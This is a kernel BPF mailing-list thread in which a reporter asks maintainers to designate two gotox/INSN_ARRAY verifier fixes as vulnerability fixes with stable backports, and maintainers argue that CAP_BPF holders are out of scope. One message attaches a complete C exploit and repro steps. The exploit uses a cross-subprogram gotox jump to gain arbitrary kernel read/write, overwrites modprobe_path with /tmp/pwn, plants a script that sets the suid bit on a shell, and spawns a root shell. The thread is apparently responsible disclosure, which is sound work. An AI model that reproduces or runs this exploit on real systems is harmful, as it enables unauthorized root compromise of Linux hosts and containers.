BPF List
 help / color / mirror / Atom feed
* Re: gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags
       [not found] <CAJgm7qNx6NBzfxQbwF0ZoMLoULquNpsnrYSL1F3EFf2tztES7Q@mail.gmail.com>
@ 2026-10-30 22:39 ` Greg KH
  2026-10-31  1:10   ` James Burton
  0 siblings, 1 reply; 7+ messages in thread
From: Greg KH @ 2026-10-30 22:39 UTC (permalink / raw)
  To: James Burton; +Cc: bpf, daniel, eddyz87, a.s.protopopov, security

On Fri, Oct 30, 2026 at 02:40:36PM -0700, James Burton wrote:
> Hi all,

<snip>

HTML email is rejected from the vger lists, and no need to get
security@kernel.org involved in something that is already resolved.

thanks,

greg k-h

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags
  2026-10-30 22:39 ` gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags Greg KH
@ 2026-10-31  1:10   ` James Burton
  2026-10-31  5:26     ` Alexei Starovoitov
  0 siblings, 1 reply; 7+ messages in thread
From: James Burton @ 2026-10-31  1:10 UTC (permalink / raw)
  To: bpf; +Cc: daniel, eddyz87, a.s.protopopov, Greg KH

[-- Attachment #1: Type: text/plain, Size: 1748 bytes --]

Hi all,

I reported the gotox CFG divergence fixed by 19581372dd81 and
c48a91c049fd — thanks for
the quick fixes. The CVE team says one question is yours: are these
vulnerability
fixes, and should they be tagged for stable?

Their view is that CAP_BPF holders are outside the threat model unless
a boundary is
documented. The attached PoC (gotox_c1_root.c, single file, raw
bpf(2)) goes from uid
65534 with ambient CAP_BPF to deterministic arbitrary kernel
read/write and a root shell
on defconfig. The same path is reachable via a BPF token, since
INSN_ARRAY creation is
gated on bpf_token_capable(token, CAP_BPF) — and delegating bounded
BPF to untrusted
container workloads is what tokens are for. So: is a token holder that
can create
INSN_ARRAY meant to be confined below the kernel, or not?

If yes: both commits are vulnerability fixes, should be tagged for
every stable series
containing 493d9e0d6083 (6.19 through 7.3 ship the bug; both fixes are
mainline-only),
and the boundary deserves a line in Documentation/bpf/. If no, I'd ask
that it be said
plainly, since container platforms assume otherwise.

I can send the stable request with the commit IDs if preferred, and
can provide serial
logs or a token-based run. BUILD_AND_RUN.txt has the repro steps
(nokaslr and a root
probe stand in for an infoleak, as in the original report).

Thanks,
James Burton


On Fri, Oct 30, 2026 at 3:40 PM Greg KH <greg@kroah.com> wrote:
>
> >
> On Fri, Oct 30, 2026 at 02:40:36PM -0700, James Burton wrote:
> > Hi all,
>
> <snip>
>
> HTML email is rejected from the vger lists, and no need to get
> security@kernel.org involved in something that is already resolved.
>
> thanks,
>
> greg k-h

[-- Attachment #2: BUILD_AND_RUN.txt --]
[-- Type: text/plain, Size: 677 bytes --]


### Repro

```sh
# mainline (verified @ 28924df2a08f), x86_64: defconfig + BPF_SYSCALL/JIT/JIT_ALWAYS_ON
gcc -O2 -static -o gotox_c1_root gotox_c1_root.c

# in a disposable VM on that kernel, booted with nokaslr (demo scoping):
./gotox_c1_root probe        # as root, once: writes /tmp/env.txt (cb off + 2 ksyms)
# stage any id-printing helper at /tmp/gotox-suid, then as the unprivileged user:
setpriv --reuid=65534 --regid=65534 --clear-groups \
        --inh-caps +bpf --ambient-caps +bpf ./gotox_c1_root
# expect: "== ARB-WRITE CONFIRMED" then "GOTOX-0DAY-ROOT-ID: uid=0(root) ..."
# (minimal initramfs: mount procfs first; /bin/sh must exist for the usermode helper)
```

[-- Attachment #3: gotox_c1_root.c --]
[-- Type: application/octet-stream, Size: 18283 bytes --]

/*
 * gotox_c1_root.c — FULL ROOT EXPLOIT for the gotox 0-day (mainline HEAD).
 *
 * Primitive: gotox CFG divergence -> cross-subprog jump into MAIN's exit ->
 * MAIN's epilogue pops no callee-saved regs -> x86 r13 keeps A's live BPF r7
 * (attacker value). In bpf_test_run(), r13 holds ctx across the run loop, so
 * with repeat=2 the SECOND iteration re-runs our program with
 * ctx = attacker-chosen kernel pointer. The program's verifier-legal
 * __sk_buff->cb[0..4] accessors then become:
 *     read32/write32(target + skb_cb_off + 4*i)      (controlled values!)
 * Crash-free (rbx/current, r14, r15 untouched: program avoids BPF r6/r8/r9).
 *
 * Chain: [root bootstrap: kallsyms addrs + cb offset -> /tmp/env.txt, stands in
 * for a KASLR side-channel] -> as uid 65534 + ambient CAP_BPF ONLY:
 *   1. arb-read linux_banner via cb reads  -> verify primitive ("Linux vers")
 *   2. arb-write "/tmp/pwn\0" over modprobe_path via cb writes (one run)
 *   3. verify via /proc/sys/kernel/modprobe
 *   4. plant /tmp/pwn (chown+suid /tmp/rootshell), socket(AF_AX25) ->
 *      request_module -> root runs /tmp/pwn -> exec suid -> uid=0 shell.
 *
 * Modes: probe (root: write /tmp/env.txt) | root (default: full chain)
 * GUEST-ONLY (authorized audit).
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/stat.h>

#define BPF_MAP_TYPE_ARRAY       2
#define BPF_MAP_TYPE_INSN_ARRAY 34
#define CMD_MAP_CREATE 0
#define CMD_MAP_LOOKUP 1
#define CMD_MAP_UPDATE 2
#define CMD_PROG_LOAD  5
#define CMD_TEST_RUN  10
#define CMD_OBJ_INFO  15
#define CMD_MAP_FREEZE 22
#define UAPI_SKB_CB_OFF 0x30   /* offsetof(struct __sk_buff, cb) */

struct insn { uint8_t code; uint8_t regs; int16_t off; int32_t imm; };
#define INSN(CODE, DST, SRC, OFF, IMM) \
    (struct insn){ .code = (CODE), .regs = ((SRC) << 4) | (DST), .off = (OFF), .imm = (IMM) }

union attr {
    struct { uint32_t map_type, key_size, value_size, max_entries, map_flags; } mc;
    struct { uint32_t map_fd, _pad; uint64_t key, value, flags; } mu;
    struct { uint32_t prog_type, insn_cnt; uint64_t insns, license;
             uint32_t log_level, log_size; uint64_t log_buf; } __attribute__((packed)) pl;
    struct { uint32_t prog_fd, retval, data_size_in, data_size_out;
             uint64_t data_in, data_out; uint32_t repeat, duration; } __attribute__((packed)) tr;
    struct { uint32_t map_fd; } mf;
    struct { uint32_t bpf_fd, info_len; uint64_t info; } __attribute__((packed)) gi;
    char pad[144];
};
static long bpf(int cmd, union attr *a) { return syscall(321, cmd, a, sizeof(*a)); }
struct insn_array_value { uint32_t orig_off, xlated_off, jitted_off, pad; };

static int create_map(uint32_t type, uint32_t vsz, uint32_t n)
{
    union attr a = {0};
    a.mc.map_type = type; a.mc.key_size = 4; a.mc.value_size = vsz; a.mc.max_entries = n;
    int fd = bpf(CMD_MAP_CREATE, &a);
    if (fd < 0) { printf("map_create(%u): %s\n", type, strerror(errno)); exit(1); }
    return fd;
}
static void map_update(int fd, uint32_t key, void *val)
{
    union attr a = {0};
    a.mu.map_fd = fd; a.mu.key = (uint64_t)&key; a.mu.value = (uint64_t)val;
    if (bpf(CMD_MAP_UPDATE, &a) < 0) { printf("map_update: %s\n", strerror(errno)); exit(1); }
}
static void map_lookup(int fd, uint32_t key, void *val)
{
    union attr a = {0};
    a.mu.map_fd = fd; a.mu.key = (uint64_t)&key; a.mu.value = (uint64_t)val;
    if (bpf(CMD_MAP_LOOKUP, &a) < 0) { printf("map_lookup: %s\n", strerror(errno)); exit(1); }
}
static void map_freeze(int fd)
{
    union attr a = {0}; a.mf.map_fd = fd;
    if (bpf(CMD_MAP_FREEZE, &a) < 0) { printf("map_freeze: %s\n", strerror(errno)); exit(1); }
}
static char logbuf[1 << 20];

/* ---- mode "probe" (run as root): kallsyms + real skb cb offset ---------- */
static uint64_t ksym(const char *name)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    char sym[256]; uint64_t addr; char t;
    if (!f) { perror("kallsyms"); exit(1); }
    while (fscanf(f, "%lx %c %255s", &addr, &t, sym) == 3)
        if (!strcmp(sym, name)) { fclose(f); return addr; }
    fclose(f); printf("ksym %s not found\n", name); exit(1);
}
static int probe_mode(void)
{
    /* real sk_buff cb offset: load a cb-read prog, read back xlated insns */
    struct insn p[] = {
        INSN(0x61, 0, 1, UAPI_SKB_CB_OFF, 0),   /* r0 = *(u32*)(ctx + __sk_buff.cb[0]) */
        INSN(0x95, 0, 0, 0, 0),
    };
    union attr a = {0};
    a.pl.prog_type = 1; a.pl.insn_cnt = 2; a.pl.insns = (uint64_t)p;
    a.pl.license = (uint64_t)"GPL";
    int fd = bpf(CMD_PROG_LOAD, &a);
    if (fd < 0) { printf("probe load: %s\n", strerror(errno)); return 1; }
    /* bpf_prog_info: xlated_prog_len @20, xlated_prog_insns @32 */
    static char info[512]; static struct insn xl[64];
    *(uint32_t *)(info + 20) = sizeof(xl);
    *(uint64_t *)(info + 32) = (uint64_t)xl;
    union attr g = {0};
    g.gi.bpf_fd = fd; g.gi.info_len = sizeof(info); g.gi.info = (uint64_t)info;
    if (bpf(CMD_OBJ_INFO, &g) < 0) { printf("obj_info: %s\n", strerror(errno)); return 1; }
    int cb_off = -1;
    uint32_t xlen = *(uint32_t *)(info + 20);
    for (unsigned i = 0; i < xlen / 8 && i < 64; i++)
        if ((xl[i].code & 0x07) == 0x01 || xl[i].code == 0x61) { cb_off = xl[i].off; break; }
    printf("probe: sk_buff cb offset = %d (0x%x), xlated len %u\n", cb_off, cb_off, xlen);
    uint64_t mp = ksym("modprobe_path"), lb = ksym("linux_banner");
    FILE *f = fopen("/tmp/env.txt", "w");
    fprintf(f, "%d %lx %lx\n", cb_off, mp, lb);
    fclose(f);
    printf("probe: modprobe_path=0x%lx linux_banner=0x%lx -> /tmp/env.txt\n", mp, lb);
    return 0;
}

/* ---- the exploit program (two subprogs; see design notes in header) ----- */
static int prog_fd, idxmap;
#define SLOT_JTIDX 8   /* byte offsets into the 128B IDX value */
#define SLOT_CNT  16
#define SLOT_TGT  24
#define SLOT_MODE 32
#define SLOT_V0   40
#define SLOT_V1   48
#define SLOT_V2   56
#define SLOT_R0   64   /* WR-path pre-write capture of cb[0..2]: proves which */
#define SLOT_R1   72   /* memory the write run is actually touching           */
#define SLOT_R2   80

static void build_prog(void)
{
    idxmap = create_map(BPF_MAP_TYPE_ARRAY, 128, 1);
    int m  = create_map(BPF_MAP_TYPE_INSN_ARRAY, sizeof(struct insn_array_value), 2);
    int m2 = create_map(BPF_MAP_TYPE_INSN_ARRAY, sizeof(struct insn_array_value), 1);

    struct insn prog[128];
    int n = 0;
    /* ---------------- MAIN (subprog 0) — uses only r0..r5 ---------------- */
    prog[n++] = INSN(0x18, 2, 2, 0, idxmap); prog[n++] = INSN(0,0,0,0,0);   /* r2 = MV(IDX,0) */
    prog[n++] = INSN(0x79, 5, 2, SLOT_CNT, 0);                              /* r5 = counter   */
    int jfirst = n;
    prog[n++] = INSN(0x15, 5, 0, 0/*fix*/, 0);                              /* if cnt==0 -> FIRST */
    /* ---- second-iteration path: ctx (r1) == attacker target ---- */
    prog[n++] = INSN(0x79, 3, 2, SLOT_MODE, 0);                             /* r3 = mode */
    int jwr = n;
    prog[n++] = INSN(0x15, 3, 0, 0/*fix*/, 1);                              /* if mode==1 -> WR */
    /* RD: leak cb[0..2] -> slots V0..V2 */
    prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 0, 0);                   /* r0 = cb[0] */
    prog[n++] = INSN(0x7b, 2, 0, SLOT_V0, 0);                               /* V0 = r0    */
    prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 4, 0);
    prog[n++] = INSN(0x7b, 2, 0, SLOT_V1, 0);
    prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 8, 0);
    prog[n++] = INSN(0x7b, 2, 0, SLOT_V2, 0);
    prog[n++] = INSN(0xb7, 0, 0, 0, 0x77);
    prog[n++] = INSN(0x95, 0, 0, 0, 0);
    /* WR: capture pre-write cb[0..2] -> R0..R2 (diagnostic), then V0..V2 -> cb[0..2] */
    int WR = n;
    prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 0, 0);
    prog[n++] = INSN(0x7b, 2, 0, SLOT_R0, 0);
    prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 4, 0);
    prog[n++] = INSN(0x7b, 2, 0, SLOT_R1, 0);
    prog[n++] = INSN(0x61, 0, 1, UAPI_SKB_CB_OFF + 8, 0);
    prog[n++] = INSN(0x7b, 2, 0, SLOT_R2, 0);
    prog[n++] = INSN(0x79, 4, 2, SLOT_V0, 0);
    prog[n++] = INSN(0x63, 1, 4, UAPI_SKB_CB_OFF + 0, 0);                   /* cb[0] = (u32)r4 */
    prog[n++] = INSN(0x79, 4, 2, SLOT_V1, 0);
    prog[n++] = INSN(0x63, 1, 4, UAPI_SKB_CB_OFF + 4, 0);
    prog[n++] = INSN(0x79, 4, 2, SLOT_V2, 0);
    prog[n++] = INSN(0x63, 1, 4, UAPI_SKB_CB_OFF + 8, 0);
    prog[n++] = INSN(0xb7, 0, 0, 0, 0x88);
    prog[n++] = INSN(0x95, 0, 0, 0, 0);
    /* FIRST: counter=1; call A; exit (this exit is also the cross target) */
    int FIRST = n;
    prog[n++] = INSN(0xb7, 5, 0, 0, 1);
    prog[n++] = INSN(0x7b, 2, 5, SLOT_CNT, 0);                              /* counter = 1 */
    int call_fix = n;
    prog[n++] = INSN(0x85, 0, 1, 0, 0/*fix*/);                              /* call A */
    int MEXIT = n;
    prog[n++] = INSN(0x95, 0, 0, 0, 0);                                     /* MEXIT: exit */
    int A0 = n;
    prog[jfirst].off = FIRST - jfirst - 1;
    prog[jwr].off = WR - jwr - 1;
    prog[call_fix].imm = A0 - call_fix - 1;
    /* -------- A (subprog 1) — callee-saved use: ONLY r7 (x86 r13) -------- */
    prog[n++] = INSN(0x18, 2, 2, 0, idxmap); prog[n++] = INSN(0,0,0,0,0);   /* r2 = MV(IDX,0) */
    prog[n++] = INSN(0x79, 4, 2, SLOT_JTIDX, 0);                            /* r4 = jt idx */
    int jaf = n;
    prog[n++] = INSN(0x25, 4, 0, 0/*fix*/, 1);                              /* if r4>1 -> AF */
    prog[n++] = INSN(0x67, 4, 0, 0, 3);                                     /* r4 <<= 3 */
    prog[n++] = INSN(0x79, 7, 2, SLOT_TGT, 0);                              /* r7 = TARGET (payload!) */
    prog[n++] = INSN(0x18, 3, 1, 0, m2); prog[n++] = INSN(0,0,0,0,0);       /* r3 = MAP(M2) ref */
    prog[n++] = INSN(0x18, 1, 2, 0, m);  prog[n++] = INSN(0,0,0,0,0);       /* r1 = MV(M,0) */
    prog[n++] = INSN(0x0f, 1, 4, 0, 0);                                     /* r1 += r4 */
    prog[n++] = INSN(0x79, 5, 1, 0, 0);                                     /* r5 = *(r1) PTR_TO_INSN */
    prog[n++] = INSN(0xb7, 0, 0, 0, 0x5A);                                  /* r0 = 0x5A (live: AEXIT is bare exit) */
    prog[n++] = INSN(0x0d, 5, 0, 0, 0);                                     /* gotox r5 */
    int AEXIT = n;
    prog[n++] = INSN(0x95, 0, 0, 0, 0);                                     /* AEXIT: exit */
    int AF = n;
    prog[n++] = INSN(0xb7, 0, 0, 0, 0xEE);
    prog[n++] = INSN(0x95, 0, 0, 0, 0);
    prog[jaf].off = AF - jaf - 1;

    struct insn_array_value v = {0};
    v.orig_off = MEXIT; map_update(m, 0, &v);   /* slot0 -> MAIN exit (cross target; items[0] in MAIN => M skipped by create_jt(A)) */
    v.orig_off = AEXIT; map_update(m, 1, &v);   /* slot1 -> A's own exit (control) */
    v.orig_off = AEXIT; map_update(m2, 0, &v);
    map_freeze(m); map_freeze(m2);

    union attr a = {0};
    a.pl.prog_type = 1; a.pl.insn_cnt = n; a.pl.insns = (uint64_t)prog;
    a.pl.license = (uint64_t)"GPL";
    a.pl.log_level = 1; a.pl.log_size = sizeof(logbuf); a.pl.log_buf = (uint64_t)logbuf;
    prog_fd = bpf(CMD_PROG_LOAD, &a);
    printf("PROG_LOAD(root-chain) => %d (%s) [%d insns, MEXIT=%d AEXIT=%d]\n",
           prog_fd, prog_fd < 0 ? strerror(errno) : "ok", n, MEXIT, AEXIT);
    if (prog_fd < 0) {
        printf("--- log tail ---\n%s\n", logbuf + (strlen(logbuf) > 2500 ? strlen(logbuf) - 2500 : 0));
        exit(2);
    }
}

/* one corrupted double-run: jtidx=0 (cross target), counter reset, mode/target/vals per op */
static uint32_t run_op(uint64_t target, int mode, uint64_t v0, uint64_t v1, uint64_t v2,
                       uint64_t out[6])
{
    uint64_t slots[16] = {0};
    slots[SLOT_JTIDX/8] = 0;      /* -> MEXIT = corruption */
    slots[SLOT_CNT/8]  = 0;
    slots[SLOT_TGT/8]  = target;
    slots[SLOT_MODE/8] = mode;
    slots[SLOT_V0/8] = v0; slots[SLOT_V1/8] = v1; slots[SLOT_V2/8] = v2;
    map_update(idxmap, 0, slots);
    static char data[64];
    union attr t = {0};
    t.tr.prog_fd = prog_fd; t.tr.data_in = (uint64_t)data; t.tr.data_size_in = sizeof(data);
    t.tr.repeat = 2;   /* iter1 = corrupt r13(ctx); iter2 = prog runs on fake ctx */
    int rc = bpf(CMD_TEST_RUN, &t);
    map_lookup(idxmap, 0, slots);
    if (out) { out[0] = slots[SLOT_V0/8]; out[1] = slots[SLOT_V1/8]; out[2] = slots[SLOT_V2/8];
               out[3] = slots[SLOT_R0/8]; out[4] = slots[SLOT_R1/8]; out[5] = slots[SLOT_R2/8]; }
    printf("  test_run rc=%d retval=0x%x\n", rc, t.tr.retval);
    return t.tr.retval;
}
static void as_str(char *dst, uint64_t *w)   /* 3 u32-bearing slots -> 12-char string */
{
    memcpy(dst, &w[0], 4); memcpy(dst + 4, &w[1], 4); memcpy(dst + 8, &w[2], 4); dst[12] = 0;
}

static void dump_xlated(void)
{
    static char info[512]; static struct insn xl[256];
    *(uint32_t *)(info + 20) = sizeof(xl);
    *(uint64_t *)(info + 32) = (uint64_t)xl;
    union attr g = {0};
    g.gi.bpf_fd = prog_fd; g.gi.info_len = sizeof(info); g.gi.info = (uint64_t)info;
    if (bpf(CMD_OBJ_INFO, &g) < 0) { printf("obj_info: %s\n", strerror(errno)); return; }
    uint32_t n = *(uint32_t *)(info + 20) / 8;
    printf("xlated (%u insns):\n", n);
    for (unsigned i = 0; i < n && i < 256; i++)
        printf("  %3u: code=%02x regs=%02x off=%+d imm=0x%x\n",
               i, xl[i].code, xl[i].regs, xl[i].off, xl[i].imm);
}

int main(int argc, char **argv)
{
    if (argc > 1 && !strcmp(argv[1], "probe"))
        return probe_mode();
    if (argc > 1 && !strcmp(argv[1], "xlated")) {
        FILE *ef = fopen("/tmp/env.txt", "r"); int c; uint64_t a,b;
        if (ef) fscanf(ef, "%d %lx %lx", &c, &a, &b), fclose(ef);
        build_prog(); dump_xlated(); return 0;
    }

    printf("=== gotox 0-day full root chain ===\nrunning as: uid=%d\n", getuid());
    int cb_off; uint64_t modprobe_path, linux_banner, jiffies64 = 0, core_pattern = 0;
    FILE *f = fopen("/tmp/env.txt", "r");
    if (!f || fscanf(f, "%d %lx %lx %lx %lx", &cb_off, &modprobe_path, &linux_banner,
                     &jiffies64, &core_pattern) < 3) {
        printf("no /tmp/env.txt (run probe mode as root first)\n"); return 1;
    }
    fclose(f);
    printf("bootstrap: cb_off=0x%x modprobe_path=0x%lx linux_banner=0x%lx jiffies=0x%lx core_pattern=0x%lx\n",
           cb_off, modprobe_path, linux_banner, jiffies64, core_pattern);

    build_prog();

    /* control: jtidx=1 (A's own exit) — no corruption, iter2 runs on REAL skb */
    uint64_t slots[16] = {0}; slots[SLOT_JTIDX/8] = 1;
    map_update(idxmap, 0, slots);
    static char data[64];
    union attr t = {0};
    t.tr.prog_fd = prog_fd; t.tr.data_in = (uint64_t)data; t.tr.data_size_in = sizeof(data);
    t.tr.repeat = 2;
    int rc = bpf(CMD_TEST_RUN, &t);
    printf("[0] control (no corruption): rc=%d retval=0x%x (expect 0x77: benign iter2 leak of real skb cb)\n",
           rc, t.tr.retval);

    printf("[1] ARB-READ verify: leaking linux_banner via fake-ctx cb reads\n");
    uint64_t out[6];
    char leak[13];
    run_op(linux_banner - cb_off, 0, 0, 0, 0, out);
    as_str(leak, out);
    printf("  leaked: \"%s\" %s\n", leak,
           !strncmp(leak, "Linux vers", 10) ? "== ARB-READ CONFIRMED" : "(unexpected!)");

    printf("[1c] ARB-READ banner AGAIN (is the corruption repeatable per prog?)\n");
    run_op(linux_banner - cb_off, 0, 0, 0, 0, out);
    as_str(leak, out);
    printf("  leaked: \"%s\" %s\n", leak,
           !strncmp(leak, "Linux vers", 10) ? "== repeatable" : "(REPEAT BROKEN!)");

    printf("[1b] ARB-READ modprobe_path @0x%lx (address validation)\n", modprobe_path);
    run_op(modprobe_path - cb_off, 0, 0, 0, 0, out);
    as_str(leak, out);
    printf("  read: \"%s\" %s\n", leak,
           !strncmp(leak, "/sbin/modpro", 12) ? "== address VALID" : "(ADDRESS WRONG!)");

    if (jiffies64) {
        printf("[1d] ARB-READ jiffies_64 twice (live memory ticks; an image shadow is static)\n");
        run_op(jiffies64 - cb_off, 0, 0, 0, 0, out);
        uint64_t j1 = out[0] | (out[1] << 32);
        usleep(300000);
        run_op(jiffies64 - cb_off, 0, 0, 0, 0, out);
        uint64_t j2 = out[0] | (out[1] << 32);
        printf("  jiffies: 0x%lx then 0x%lx => reads hit %s\n", j1, j2,
               j1 == j2 ? "a STATIC SHADOW (not live memory!)" : "LIVE kernel memory");
    }
    if (core_pattern) {
        printf("[1e] ARB-READ core_pattern (root planted canary \"/CANARY-GTX0\"; image default \"core\")\n");
        run_op(core_pattern - cb_off, 0, 0, 0, 0, out);
        as_str(leak, out);
        printf("  read: \"%s\" => %s\n", leak,
               !strncmp(leak, "/CANARY-GTX0", 12) ? "LIVE (sees runtime change)" :
               !strncmp(leak, "core", 5)          ? "BOOT-IMAGE SNAPSHOT (shadow confirmed)" :
                                                    "??");
    }

    printf("[2] ARB-WRITE: modprobe_path = \"/tmp/pwn\"\n");
    uint32_t w0, w1;
    memcpy(&w0, "/tmp", 4); memcpy(&w1, "/pwn", 4);
    run_op(modprobe_path - cb_off, 1, w0, w1, 0, out);
    char pre[13];
    as_str(pre, out + 3);
    printf("  pre-write content seen by WR path: \"%s\"\n", pre);
    printf("    (\"/sbin/modpro\" => engaged on fake ctx; other => write run on REAL skb)\n");

    printf("[2b] ARB-READ modprobe_path after write\n");
    run_op(modprobe_path - cb_off, 0, 0, 0, 0, out);
    as_str(leak, out);
    printf("  read: \"%s\"\n", leak);

    char mp[64] = {0};
    int mfd = open("/proc/sys/kernel/modprobe", O_RDONLY);
    read(mfd, mp, 63); close(mfd);
    printf("  /proc/sys/kernel/modprobe = %s", mp);
    if (strncmp(mp, "/tmp/pwn", 8)) { printf("  ARB-WRITE FAILED\n"); return 3; }
    printf("  == ARB-WRITE CONFIRMED\n");

    printf("[3] planting /tmp/pwn + suid helper, triggering root usermode-helper\n");
    system("cp /tmp/gotox-suid /tmp/rootshell 2>/dev/null; chmod 755 /tmp/rootshell");
    f = fopen("/tmp/pwn", "w");
    fprintf(f, "#!/bin/sh\nchown 0:0 /tmp/rootshell\nchmod 4755 /tmp/rootshell\n");
    fclose(f);
    chmod("/tmp/pwn", 0755);
    socket(3 /*AF_AX25*/, SOCK_DGRAM, 0);   /* request_module("net-pf-3") as root */
    sleep(1);
    printf("[4] executing suid shell:\n");
    system("/tmp/rootshell");
    return 0;
}

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags
  2026-10-31  1:10   ` James Burton
@ 2026-10-31  5:26     ` Alexei Starovoitov
  2026-10-31 23:07       ` James Burton
  0 siblings, 1 reply; 7+ messages in thread
From: Alexei Starovoitov @ 2026-10-31  5:26 UTC (permalink / raw)
  To: James Burton; +Cc: bpf, Daniel Borkmann, Eduard, Anton Protopopov, Greg KH

On Fri, Oct 30, 2026 at 6:11 PM James Burton <jamesburton@meta.com> wrote:
>
> Their view is that CAP_BPF holders are outside the threat model unless
> a boundary is
> documented.

James,
I'm sure your tokens can be used for a better good.
Please search lore before your next "I need CVE for this AI slop" patch.

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags
  2026-10-31  5:26     ` Alexei Starovoitov
@ 2026-10-31 23:07       ` James Burton
  2026-11-01  1:33         ` Alexei Starovoitov
  2026-11-01 13:07         ` Greg KH
  0 siblings, 2 replies; 7+ messages in thread
From: James Burton @ 2026-10-31 23:07 UTC (permalink / raw)
  To: Alexei Starovoitov
  Cc: bpf, Daniel Borkmann, Eduard, Anton Protopopov, Greg KH

Daniel, Alexei,

Fair enough on searching lore first. I did, and that's actually what
prompted the question.

The same gotox/insn_array feature already has three fixes that only
needed CAP_BPF and still got CVEs and stable backports:

- CVE-2026-43321, mark live registers for indirect jumps, in 6.19.6 and 7.0
- CVE-2026-93043, interpreter fallback BUG_ON for gotox, in 7.2.6 and 7.3
- CVE-2026-45967, wrong address for insn array offsets, in 6.19.4 and 7.0

The two I reported, 19581372dd81 and c48a91c049fd, look like the same
kind of bug on that feature and sit behind the same CAP_BPF gate, but
they're mainline only, so 6.19 through 7.3 still carry them. The first
one has a deterministic reproducer that goes from CAP_BPF to root.

I'm not after special treatment, just the same handling the three
above got, which would be Cc: stable on both. If it's easier, I'm
happy to send the request to stable@ with the commit IDs myself.

Thanks again for turning these around so quickly.

James

On Fri, Oct 30, 2026 at 10:27 PM Alexei Starovoitov
<alexei.starovoitov@gmail.com> wrote:
>
> >
> On Fri, Oct 30, 2026 at 6:11 PM James Burton <jamesburton@meta.com> wrote:
> >
> > Their view is that CAP_BPF holders are outside the threat model unless
> > a boundary is
> > documented.
>
> James,
> I'm sure your tokens can be used for a better good.
> Please search lore before your next "I need CVE for this AI slop" patch.

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags
  2026-10-31 23:07       ` James Burton
@ 2026-11-01  1:33         ` Alexei Starovoitov
  2026-11-01  7:26           ` James Burton
  2026-11-01 13:07         ` Greg KH
  1 sibling, 1 reply; 7+ messages in thread
From: Alexei Starovoitov @ 2026-11-01  1:33 UTC (permalink / raw)
  To: James Burton; +Cc: bpf, Daniel Borkmann, Eduard, Anton Protopopov, Greg KH

On Sat Oct 31, 2026 at 11:07 PM UTC, James Burton wrote:
> Daniel, Alexei,
>
> Fair enough on searching lore first. I did, and that's actually what
> prompted the question.
>
> The same gotox/insn_array feature already has three fixes that only
> needed CAP_BPF and still got CVEs and stable backports:
>
> - CVE-2026-43321, mark live registers for indirect jumps, in 6.19.6 and 7.0
> - CVE-2026-93043, interpreter fallback BUG_ON for gotox, in 7.2.6 and 7.3
> - CVE-2026-45967, wrong address for insn array offsets, in 6.19.4 and 7.0
>
> The two I reported, 19581372dd81 and c48a91c049fd, look like the same
> kind of bug on that feature and sit behind the same CAP_BPF gate, but
> they're mainline only, so 6.19 through 7.3 still carry them. The first
> one has a deterministic reproducer that goes from CAP_BPF to root.

Are you after cve scorecard or you want to truly improve kernel security?
If later then please skip all bugs that need cap_*.

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags
  2026-11-01  1:33         ` Alexei Starovoitov
@ 2026-11-01  7:26           ` James Burton
  0 siblings, 0 replies; 7+ messages in thread
From: James Burton @ 2026-11-01  7:26 UTC (permalink / raw)
  To: Alexei Starovoitov
  Cc: bpf, Daniel Borkmann, Eduard, Anton Protopopov, Greg KH

The latter, understood, I'll focus future reports at paths reachable
without cap_*.

Thanks again for the quick fixes.

James

On Sat, Oct 31, 2026 at 6:33 PM Alexei Starovoitov
<alexei.starovoitov@gmail.com> wrote:
>
> >
> On Sat Oct 31, 2026 at 11:07 PM UTC, James Burton wrote:
> > Daniel, Alexei,
> >
> > Fair enough on searching lore first. I did, and that's actually what
> > prompted the question.
> >
> > The same gotox/insn_array feature already has three fixes that only
> > needed CAP_BPF and still got CVEs and stable backports:
> >
> > - CVE-2026-43321, mark live registers for indirect jumps, in 6.19.6 and 7.0
> > - CVE-2026-93043, interpreter fallback BUG_ON for gotox, in 7.2.6 and 7.3
> > - CVE-2026-45967, wrong address for insn array offsets, in 6.19.4 and 7.0
> >
> > The two I reported, 19581372dd81 and c48a91c049fd, look like the same
> > kind of bug on that feature and sit behind the same CAP_BPF gate, but
> > they're mainline only, so 6.19 through 7.3 still carry them. The first
> > one has a deterministic reproducer that goes from CAP_BPF to root.
>
> Are you after cve scorecard or you want to truly improve kernel security?
> If later then please skip all bugs that need cap_*.

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: gotox/INSN_ARRAY cross-subprog fixes: request vuln-fix designation and stable tags
  2026-10-31 23:07       ` James Burton
  2026-11-01  1:33         ` Alexei Starovoitov
@ 2026-11-01 13:07         ` Greg KH
  1 sibling, 0 replies; 7+ messages in thread
From: Greg KH @ 2026-11-01 13:07 UTC (permalink / raw)
  To: James Burton
  Cc: Alexei Starovoitov, bpf, Daniel Borkmann, Eduard,
	Anton Protopopov

On Sat, Oct 31, 2026 at 04:07:30PM -0700, James Burton wrote:
> Daniel, Alexei,
> 
> Fair enough on searching lore first. I did, and that's actually what
> prompted the question.
> 
> The same gotox/insn_array feature already has three fixes that only
> needed CAP_BPF and still got CVEs and stable backports:
> 
> - CVE-2026-43321, mark live registers for indirect jumps, in 6.19.6 and 7.0
> - CVE-2026-93043, interpreter fallback BUG_ON for gotox, in 7.2.6 and 7.3
> - CVE-2026-45967, wrong address for insn array offsets, in 6.19.4 and 7.0

